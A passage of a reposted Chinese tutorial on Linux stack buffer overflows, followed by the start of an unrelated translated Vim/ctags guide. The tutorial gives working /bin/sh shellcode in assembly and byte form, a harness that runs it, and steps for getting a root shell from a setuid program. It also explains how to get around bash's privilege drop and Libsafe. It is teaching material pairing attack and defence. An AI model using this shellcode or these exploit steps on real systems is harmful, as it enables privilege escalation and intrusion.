<P>从jmp指令的起始地址0x80482c7到call指令的结束地址0x80482f8，一共49个字节。起始地址为0x80482f8的8个字节的内存单元中实际存放的是字符串"/bin/sh"，因此我们在那里看到了几条奇怪的指令。至此，我们的shellcode已经初具雏形了，但是还有几处需要改进。首先，将来我们要通过strcpy(3)这种存在安全隐患的函数将上面的代码拷贝到某个内存缓冲区中，而strcpy(3)在遇到内容为'\\0'的字节时就会停止拷贝。然而从图14中可以看到，我们的代码中有很多这样的'\\0'字节，因此需要将它们全部去掉。另外，某些指令的长度可以缩减，以使得我们的shellcode更加精简。按照图15所列的改进方案，我们便得到了图16中最终的shellcode。</P><BR><A name=N1017E><B>图15 shellcode的改进方案</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>存在问题的指令          改进后的指令
movb $0x0,0x7(%esi)     xorl %eax,%eax
molv $0x0,0xc(%esi)     movb %eax,0x7(%esi)
                        movl %eax,0xc(%esi)

movl $0xb,%eax          movb $0xb,%al

movl $0x1, %eax         xorl %ebx,%ebx
movl $0x0, %ebx         movl %ebx,%eax
                        inc %eax
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR><BR><A name=N10188><B>图16 最终的shellcode汇编程序shellcodeasm2.c</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>void main()
{
	__asm__("
			jmp     1f
	2:		popl    %esi
			movl    %esi,0x8(%esi)
			xorl    %eax,%eax
			movb    %eax,0x7(%esi)
			movl    %eax,0xc(%esi)
			movb    $0xb,%al
			movl    %esi,%ebx
			leal    0x8(%esi),%ecx
			leal    0xc(%esi),%edx
			int     $0x80
			xorl    %ebx,%ebx
			movl    %ebx,%eax
			inc     %eax
			int     $0x80
	1:		call    2b
			.string \\"/bin/sh\\"
	");
}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>同样，按照上面的方法再次查看内存中的shellcode代码，如图16所示。我们在图16中再次列出了图1 用到过的shellcode，有兴趣的读者不妨比较一下。</P><BR><A name=N10195><B>图17 shellcode的来历</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ gdb shellcodeasm2
(gdb) disassemble main
Dump of assembler code for function main:
0x80482c4 &lt;main&gt;:       push   %ebp
0x80482c5 &lt;main+1&gt;:     mov    %esp,%ebp
0x80482c7 &lt;main+3&gt;:     jmp    0x80482e8 &lt;main+36&gt;
0x80482c9 &lt;main+5&gt;:     pop    %esi
0x80482ca &lt;main+6&gt;:     mov    %esi,0x8(%esi)
0x80482cd &lt;main+9&gt;:     xor    %eax,%eax
0x80482cf &lt;main+11&gt;:    mov    %al,0x7(%esi)
0x80482d2 &lt;main+14&gt;:    mov    %eax,0xc(%esi)
0x80482d5 &lt;main+17&gt;:    mov    $0xb,%al
0x80482d7 &lt;main+19&gt;:    mov    %esi,%ebx
0x80482d9 &lt;main+21&gt;:    lea    0x8(%esi),%ecx
0x80482dc &lt;main+24&gt;:    lea    0xc(%esi),%edx
0x80482df &lt;main+27&gt;:    int    $0x80
0x80482e1 &lt;main+29&gt;:    xor    %ebx,%ebx
0x80482e3 &lt;main+31&gt;:    mov    %ebx,%eax
0x80482e5 &lt;main+33&gt;:    inc    %eax
0x80482e6 &lt;main+34&gt;:    int    $0x80
0x80482e8 &lt;main+36&gt;:    call   0x80482c9 &lt;main+5&gt;
0x80482ed &lt;main+41&gt;:    das
0x80482ee &lt;main+42&gt;:    bound  %ebp,0x6e(%ecx)
0x80482f1 &lt;main+45&gt;:    das
0x80482f2 &lt;main+46&gt;:    jae    0x804835c
0x80482f4 &lt;main+48&gt;:    add    %cl,%cl
0x80482f6 &lt;main+50&gt;:    ret
0x80482f7 &lt;main+51&gt;:    nop
End of assembler dump.
(gdb) x /38xb 0x80482c7
0x80482c7 &lt;main+3&gt;:		0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc0
0x80482cf &lt;main+11&gt;:		0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b
0x80482d7 &lt;main+19&gt;:		0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c
0x80482df &lt;main+27&gt;:		0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd
0x80482e7 &lt;main+35&gt;:		0x80 0xe8 0xdc 0xff 0xff 0xff

char shellcode[] =
"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";

</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>我猜当你看到这里时一定也像我当初一样已经热血沸腾、迫不及待了吧？那就赶快来试一下吧。</P><BR><A name=N101A2><B>图18 通过程序testsc.c验证我们的shellcode</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>char shellcode[] =
        "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
        "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
        "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";

void main()
{
   int *ret;

   ret = (int *)&amp;ret + 2;
   (*ret) = (int)shellcode;

}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>将testsc.c编译成可执行程序，再运行testsc就可以看到shell了！</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ gcc testsc.c -o testsc
$ ./testsc
bash$
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>图19描绘了testsc.c程序所作的一切，相信有了前面那么长的铺垫，读者在看到图19时应该已经没有困难了。</P><BR><A name=N101B8><B>图19 程序testsc.c的控制流程</B></A><BR><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/images/image019.gif"> <BR>
<P>下面我们该回头看看本文开头的那个Linux下缓冲区溢出攻击实例了。攻击程序exe.c利用了系统中存在漏洞的程序toto.c，通过以下步骤向系统发动了一次缓冲区溢出攻击：</P>
<UL>
<LI>通过命令行参数argv[2]得到toto.c程序中缓冲区buffer[96]的地址，并将该地址填充到large_string[128]中； 
<LI>将我们已经准备好的shellcode拷贝到large_string[128]的开头； 
<LI>通过环境变量KIRIKA将我们的shellcode注射到buffer[96]中； 
<LI>当toto.c程序中的main函数返回时，buffer[96]中的shellcode得以运行；由于toto的属主为root，并且具有setuid属性，因此我们得到的shell便具有了root权限。 </LI></UL>
<P>程序exe.c的控制流程与图19所示程序testsc.c的控制流程非常相似，唯一的不同在于这次我们的shellcode是寄宿在toto运行时的堆栈里，而不是在数据段中。之所以不能再将shellcode放在数据段中是因为当我们在程序exe.c中调用execle(3) 运行toto时，进程整个地址空间的映射会根据toto程序头部的描述信息重新设置，而原来的地址空间中数据段的内容已经不能再访问了，因此在程序exe.c中shellcode是通过环境变量来传递的。</P>
<P>怎么样，是不是感觉传说中的黑客不再像你想象的那样神秘了？暂时不要妄下结论，在上面的缓冲区溢出攻击实例中，攻击程序exe之所以能够准确的将shellcode注射到toto的buffer[96]中，关键在于我们在toto程序中打印出了buffer[96]在堆栈中的起始地址。当然，在实际的系统中，不要指望有像toto这样家有丑事还自揭疮疤的事情发生。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/index.html#main"><B>回页首</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=4><SPAN class=atitle><FONT face=Arial size=4>Linux下防御缓冲区溢出攻击的对策</FONT></SPAN></A></P>
<P>了解了缓冲区溢出攻击的原理，接下来要做的显然就是要找出克敌之道。这里，我们主要介绍一种非常简单但是又比较流行的方法――Libsafe。</P>
<P>在标准C库中存在着很多像strcpy(3)这种用于处理字符串的函数，它们将一个字符串拷贝到另一个字符串中。对于何时停止拷贝，这些函数通常只有一个判断标准，即是否遇上了'\\0'字符。然而这个唯一的标准显然是不够的。我们在上一节刚刚分析过的Linux下缓冲区溢出攻击实例正是利用strcpy(3)对系统实施了攻击，而strcpy(3)的缺陷就在于在拷贝字符串时没有将目的字符串的大小这一因素考虑进来。像这样的函数还有很多，比如strcat、gets、scanf、sprintf等等。统计数据表明，在已经发现的缓冲区溢出攻击案例中，肇事者多是这些函数。正是基于上述事实，Avaya实验室推出了Libsafe。</P>
<P>在现在的Linux系统中，程序链接时所使用的大多都是动态链接库。动态链接库本身就具有很多优点，比如在库升级之后，系统中原有的程序既不需要重新编译也不需要重新链接就可以使用升级后的动态链接库继续运行。除此之外，Linux还为动态链接库的使用提供了很多灵活的手段，而预载(preload)机制就是其中之一。在Linux下，预载机制是通过环境变量LD_PRELOAD的设置提供的。简单来说，如果系统中有多个不同的动态链接库都实现了同一个函数，那么在链接时优先使用环境变量LD_PRELOAD中设置的动态链接库。这样一来，我们就可以利用Linux提供的预载机制将上面提到的那些存在安全隐患的函数替换掉，而Libsafe正是基于这一思想实现的。</P>
<P>图20所示的testlibsafe.c是一段非常简单的程序，字符串buf2[16]中首先被写满了'A'，然后再通过strcpy(3)将其拷贝到buf1[8]中。由于buf2[16]比buf1[8]要大，显然会发生缓冲区溢出，而且很容易想到，由于'A'的二进制表示为0x41，所以main函数的返回地址被改为了0x41414141。这样当main返回时就会发生Segmentation fault。</P><BR><A name=N101ED><B>图20 测试Libsafe</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>#include &lt;string.h&gt;

void main()
{
        char    buf1[8];
        char    buf2[16];
        int     i;

        for (i = 0; i &lt; 16; ++i)
                buf2[i] = 'A';
        strcpy(buf1, buf2);
}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ gcc testlibsafe.c -o testlibsafe
$ ./testlibsafe
Segmentation fault (core dumped)

</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>下面我们就来看一看Libsafe是如何保护我们免遭缓冲区溢出攻击的。首先，在系统中安装Libsafe，本文的附件中提供了其2.0版的安装包。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ su
Password:
# rpm -ivh libsafe-2.0-2.i386.rpm
libsafe		##################################################
# exit


</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>至此安装还没有结束，接下来还要正确设置环境变量LD_PRELOAD。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ export LD_PRELOAD=/lib/libsafe.so.2

</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>下面就可以来试试看了。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ ./testlibsafe
Detected an attempt to write across stack boundary.
Terminating /home2/wy/projects/overflow/bof/testlibsafe.
    uid=1011  euid=1011  pid=9481
Call stack:
    0x40017721
    0x4001780a
    0x8048328
    0x400429c6
Overflow caused by strcpy()

</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>可以看到，Libsafe正确检测到了由strcpy()函数导致的缓冲区溢出，其uid、euid和pid，以及进程运行时的Call stack也被一并列出。另外，这些信息不光是在终端上显示，还会被记录到系统日志中，这样系统管理员就可以掌握潜在的攻击来源并及时加以防范。</P>
<P>那么，有了Libsafe我们就可以高枕无忧了吗？千万不要有这种天真的想法，在计算机安全领域入侵与反入侵的较量永远都不会停止。其实Libsafe为我们提供的保护可以被轻易的破坏掉。由于Libsafe的实现依赖于Linux系统为动态链接库所提供的预载机制，因此对于使用静态链接库的具有缓冲区溢出漏洞的程序Libsafe也就无能为力了。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ gcc -static testlibsafe.c -o testlibsafe_static
$ env | grep LD
LD_PRELOAD=/lib/libsafe.so.2
$ ./testlibsafe_static
Segmentation fault (core dumped)
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>如果在使用gcc编译时加上-static选项，那么链接时使用的便是静态链接库。在系统已经安装了Libsafe的情况下，可以看到testlibsafe_static再次产生了Segmentation fault。</P>
<P>另外，正如我们在本文前言中所指出的那样，如果读者使用的是较高版本的bash的话，那么即使您在运行攻击程序exe之后得到了一个新的shell，您可能会发现并没有得到您所期望的root权限。其实这正是的高版本bash的改进之一。由于近十年来缓冲区溢出攻击屡见不鲜，而且大部分的攻击对象都是系统中属主为root的setuid程序，以借此获得root权限。因此以root权限运行系统中的程序是十分危险的。为此，在新的POSIX.1标准中增加了一个名为seteuid(2)的系统调用，其作用在于改变进程的effective uid。而新版本的bash也都纷纷采用了这一技术，在bash启动运行之初首先通过调用seteuid(getuid())将bash的运行权限恢复为进程属主的权限，这样就出现了我们在高版本bash中运行攻击程序exe所看到的结果。那么高版本的bash就已经无懈可击了吗？其实不然，只要在通过execve(2)创建shell之前先调用setuid(0)将进程的uid也改为0，bash的这一改进也就徒劳无功了。也就是说，你所要做的就是遵照前面所讲的系统调用规则将setuid(0)加入到shellcode中，而新版shellocde的这一改进只需要很少的工作量。附件中的shellcodeasm3.c和exe_pro.c告诉了你该如何去做。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/index.html#main"><B>回页首</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=5><SPAN class=atitle><FONT face=Arial size=4>结束语</FONT></SPAN></A></P>
<P>安全有两种不同的表现形式，一种是如果你所使用的系统在安全上存在漏洞，但是黑客们对此一无所知，那么你可以暂且认为你的系统是安全的；另一种是黑客和你都发现了系统中的安全漏洞，但是你会想方设法将漏洞弥补上，使你的系统真正无懈可击。你想要的是哪一种呢？圣经上的一句话给出了这个问题的答案，而这句话也被刻在了美国中央情报局大厅的墙壁上：“你应当了解真相，真相会使你自由。”</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/index.html#main"><B>回页首</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=resources><SPAN class=atitle><FONT face=Arial size=4>参考资料 </FONT></SPAN></A></P>
<UL>
<LI>Aleph One. Smashing The Stack For Fun And Profit. <BR><BR><BR>
<LI>Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffer Overflow Study -- Attacks &amp; Defenses. <BR><BR><BR>
<LI>Taeho Oh. Advanced buffer overflow exploit. <BR><BR><BR>
<LI>绿盟科技（nsfocus）. NSFOCUS 2002年十大安全漏洞, 2002, <A href="http://www.nsfocus.net/index.php?act=sec_bug&amp;do=top_ten">http://www.nsfocus.net/index.php?act=sec_bug&amp;do=top_ten</A> <BR><BR><BR>
<LI>王卓威。基于系统行为模式的缓冲区溢出攻击检测技术。 <BR><BR><BR>
<LI>developerWorks上的 <A href="http://www-128.ibm.com/developerworks/cn/security/buffer-defend/index.shtml">《使您的软件运行起来：防止缓冲区溢出》</A>为您列出了标准C库中所有存在安全隐患的函数以及对这些函数的使用建议。 <BR><BR><BR>
<LI>毛德操，胡希明的《Linux内核源代码情景分析》向读者介绍了Linux下嵌入式汇编语言的语法。 <BR><BR><BR>
<LI>W.Richard Stevens的《Advanced Programming in the UNIX Environment》为您详细介绍了uid和effective uid的概念以及setuid(2)和seteuid(2)等相关函数的用法。 <BR><BR><BR>
<LI>Joel Scambray, Stuart McClure, George Kurtz的《Hacking Exposed》向读者介绍了网络安全的方方面面，从而使读者对网络安全有更多的了解，知道如何去加强安全性。 <BR><BR><BR>
<LI>Intel. Intel Architecture Software Developer's Manual. Intel Corporation. <BR><BR></LI></UL><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/index.html#main"><B>回页首</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=author><SPAN class=atitle><FONT face=Arial size=4>关于作者</FONT></SPAN></A></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD colSpan=2><FONT face=Arial size=4><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width="100%"></FONT></TD></TR>
<TR vAlign=top align=left>
<TD>
<P><FONT face=Arial size=4></FONT></P></TD>
<TD>
<P>王勇，现在北京航空航天大学计算机学院系统软件实验室攻读计算机硕士学位，主要研究领域为操作系统及分布式文件系统。可以通过 <A href="mailto:yongwang@buaa.edu.cn">yongwang@buaa.edu.cn</A>与他联系。 </P></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/RR00/aggbug/23405.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-12 00:37 <a href="http://www.blogjava.net/RR00/articles/23405.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Introduction to Programming in C/C++ with Vim</title><link>http://www.blogjava.net/RR00/articles/23295.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Sat, 10 Dec 2005 12:57:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/23295.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/23295.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/23295.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/23295.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/23295.html</trackback:ping><description><![CDATA[<TABLE cellSpacing=0 cellPadding=5 align=center bgColor=#ffffff>
<TBODY>
<TR>
<TD align=middle><STRONG><FONT color=#d52b6f><SPAN class=title>Introduction to Programming in C/C++ with Vim</SPAN><BR><BR></FONT></STRONG>发布于2005-05-28 被读1743次 【字体：<A onclick="xydwtext.style.fontSize='18px'" href="javascript:void(null)"><FONT color=#000000>大</FONT></A> <A onclick="xydwtext.style.fontSize='14px'" href="javascript:void(null)"><FONT color=#000000>中</FONT></A> <A onclick="xydwtext.style.fontSize='12px'" href="javascript:void(null)"><FONT color=#000000>小</FONT></A>】 <BR><!---->作者：Kmj <BR></TD></TR></TBODY></TABLE>
<TABLE style="TABLE-LAYOUT: fixed" cellSpacing=0 cellPadding=5 align=center bgColor=#ffffff>
<TBODY>
<TR>
<TD vAlign=top><SPAN class=pg id=xydwtext>
<DIV align=center><BR>
<CENTER><PRE>Introduction to Programming in C/C++&nbsp;&nbsp;with Vim<BR>
Written By: Kmj <BR>
</PRE></CENTER></DIV><BR>
<DIV class=trans><BR>
<DIV align=center><BR>
<CENTER><PRE>用Vim进行C/C++编程介绍</PRE></CENTER></DIV></DIV><PRE>作者:Kmj<BR>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [<A href="mailto:slimzhao@21cn.com"><FONT color=#000000>小赵</FONT></A>] 翻译整理<BR>
Vi has been one of the most, if not the most, popular editing tools for programmers<BR>
 since Bill Joy first created it. <BR>
</PRE><BR>
<DIV class=trans><PRE>自从Bill Joy最初写出Vi编辑器以来, Vi就一直是编程者中最广为流传的文本编辑<BR>
工具, 即使不是最流行的, 也一定是最流行者之一.</PRE></DIV><PRE>Over the years it has evolved, and the current version of vim has many capabilities<BR>
 which make a programmer's life easy. Listed below is a brief description<BR>
 of some tools which have made so many programmers loyal to vi and vim.&nbsp;&nbsp;The<BR>
 purpose of this document is to inform linux newbies of, and introduce them<BR>
 to these tools, not necessarily to be the definitive source of information<BR>
 on them.&nbsp;&nbsp;In most cases, interested readers should check the noted "extra<BR>
 information" sources. <BR>
</PRE><BR>
<DIV class=trans><PRE>Vi产生以来, 历经不断革新, 现在最新版的Vim已经具有了非常多的功能, 这些功<BR>
能使程序员能更加轻松, 便捷地使用它们. 下面是它的一些功能描述, 正是这些<BR>
丰富强大的功能使vi和vim成为无数程序员的至爱. 本文志在向linux的初学者们<BR>
介绍这些功能, 而不是追溯其历史渊源. 对此感兴趣的读者可以<BR>
查看"extra information"获得这些信息.</PRE></DIV><PRE>(Note that throughout this paper, I may use the name vi when referring to<BR>
 vim. Some options may only be compatible with vim, and not vi.) <BR>
</PRE><BR>
<DIV class=trans><PRE>(注: 本文中使用vi兼指vim, 但有一些选项可能只有vim支持)</PRE></DIV><PRE>Ctags<BR>
Ctags is a program that comes with vim. Basically, it's purpose is to help<BR>
 a programmer get to various parts of his program with relative ease. The<BR>
 typical method of running ctags is by simply typing the following in your<BR>
 source directory: <BR>
</PRE><BR>
<DIV class=trans><PRE>Ctags是vim的伴生工具, 它的基本功能是让程序员能自由穿梭于程序的不同部分(<BR>
如从一个函数名跳转到该函数的定义处), 最通常的用法是象下面这样以源程序目<BR>
录下所有文件作为参数.</PRE></DIV><PRE>[/home/someuser/src] $ ctags * <BR>
This will create a 'tags' file in you current directory with the following<BR>
 information for all C or C++ files in you directory. This file contains<BR>
 a listing of the following objects: <BR>
</PRE><BR>
<DIV class=trans><PRE>该命令会在当前目录下创建一个名为`tags'的文件, 该文件包含了你当前目录下<BR>
所有的C/C++文件中的相关信息, 具体来说包含以下对象的信息:</PRE></DIV><PRE>macros defined by #define <BR>
&nbsp; &nbsp;&nbsp; &nbsp; enumerated values <BR>
&nbsp; &nbsp;&nbsp; &nbsp; function definitions, prototypes, and declarations <BR>
&nbsp; &nbsp;&nbsp; &nbsp; class, enum, struct, and union names <BR>
&nbsp; &nbsp;&nbsp; &nbsp; namespaces <BR>
&nbsp; &nbsp;&nbsp; &nbsp; typedefs <BR>
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;variables (definitions and declarations) <BR>
&nbsp; &nbsp;&nbsp; &nbsp; class, struct, and union members <BR>
</PRE><BR>
<DIV class=trans><PRE>由#define定义的宏<BR>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 枚举值<BR>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 函数定义, 原型和声明.<BR>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 类, 枚举类型名, 结构名和联合结构名<BR>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 名字空间<BR>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 类型定义<BR>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 变量(定义和声明)<BR>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 类,结构和联合结构的成员</PRE></DIV><PRE>Vim then uses this file to help you locate these tagged items. This can be<BR>
 done in a few ways. First, one can open vim to the location of a tagged<BR>
 object. To do this, run vim with the '-t' flag and the tag-name as an argument<BR>
. For example: <BR>
</PRE><BR>
<DIV class=trans><PRE>接下来, Vim就通过该文件中的信息定位这些程序元素. 有几种方法可以对这些元<BR>
素进行定位. 第一种方法, 可以在命令上启动vi程序时通过-t选项加要跳转的程序<BR>
元素名, 如下:</PRE></DIV><PRE>[/home/someuser/src] $ vi&nbsp;&nbsp;-t&nbsp;&nbsp;foo_bar <BR>
<BR>
would open to the file containing the definition of foo_bar at that line<BR>
. <BR>
</PRE><BR>
<DIV class=trans><PRE>将会打开包含foo_bar定义的文件并定位到定义foo_bar的那一行上.</PRE></DIV><PRE>If you are already in vi, you can enter the command by the tag-name: <BR>
</PRE><BR>
<DIV class=trans><PRE>如果你已经在vi编辑环境中, 也可以在底线命令行上键入:</PRE></DIV><PRE>:ta foo_bar <BR>
<BR>
This may take you out of the file you are currently in, unless the 'autowrite<BR>
' option is enabled. (It&nbsp;&nbsp;is off by default.) For more information on autowrite<BR>
, type ':h autowrite' from with vi command-mode. <BR>
</PRE><BR>
<DIV class=trans><PRE>该命令可能使你离开你当前打开的文件(而跳转到包含foo_bar定义的文件的相关行<BR>
上去, 如果你已经改变了当前文件的内容而没有存盘, 则只能在你设置了<BR>
`autowrite'时才会跳转到该文件, 否则会给出警告, 另, autowrite可简写为等效<BR>
的aw, 译者注), 欲了解`autowrite'选项的详细信息, 可以使用在线帮助:h autowrite<BR>
命令(也可简写为:h aw, 译者注)</PRE></DIV><PRE>The final way to jump to a tagged location is by typing 'Ctrl-]'&nbsp;&nbsp;in command<BR>
 mode while the cursor is on a specific word. For example, if you are&nbsp;&nbsp;looking<BR>
 at my program, and you come across a point where I call foo_bar(), you can<BR>
 type 'Ctrl-]', while the cursor is somewhere on that word, and it will jump<BR>
 to that definition. Note that 'Ctrl-]' is the escape character for telnet<BR>
, so this may cause some issues if your editing files remotely. Type ':h<BR>
^]' for more information. <BR>
</PRE><BR>
<DIV class=trans><PRE>最后一种跳转到一个程序元素的方法是在(命令模式下)光标停在该程序元素上时按<BR>
下`CTRL-]'键, 如, 你在看程序时看到某处调用了一个叫foo_bar()的程序, 你<BR>
可以将光标停在foo_bar单词上(停在该单词任何一个字符都可, 译者注), 然后按<BR>
下`CTRL-]'键, 它就会跳转到该函数的定义处. 值得注意的是Ctrl-]碰巧是telnet<BR>
的终端符, 所以如果你在编辑远程计算机上的文件(通常是通过telnet登录到远程<BR>
主机上, 译者注), 可能会遇到一些问题. 通过在线帮助':h^]'可以了解这方面的<BR>
更多信息.(译者: 在:h^]中关于该问题是这样说的, 多数telnet都允许使用命令<BR>
telnet -E hostname来打开或关闭该脱字符, 或者用telnet -e escape hostname<BR>
来指定另外一个脱字符来代替^], 此外, 如果可能的话, 可以使用rsh来代替telnet<BR>
来避免这个问题, 关于telnet -E 及 telnet -e的详情, 请参看man telnet中相关<BR>
的帮助)</PRE></DIV><PRE>Ctags can also be used with other languages (java, fortran, ...and more) and<BR>
 editors (emacs, NEdit, ...and more). When set up properly, this tool can<BR>
 make&nbsp;&nbsp;your job tremendously easier, especially when you have to jump into<BR>
 a large ongoing project head-first. <BR>
</PRE><BR>
<DIV class=trans><PRE>Ctags程序也可用于其它语言写就的源程序, 并且可以与其它的一些编辑器(如emacs<BR>
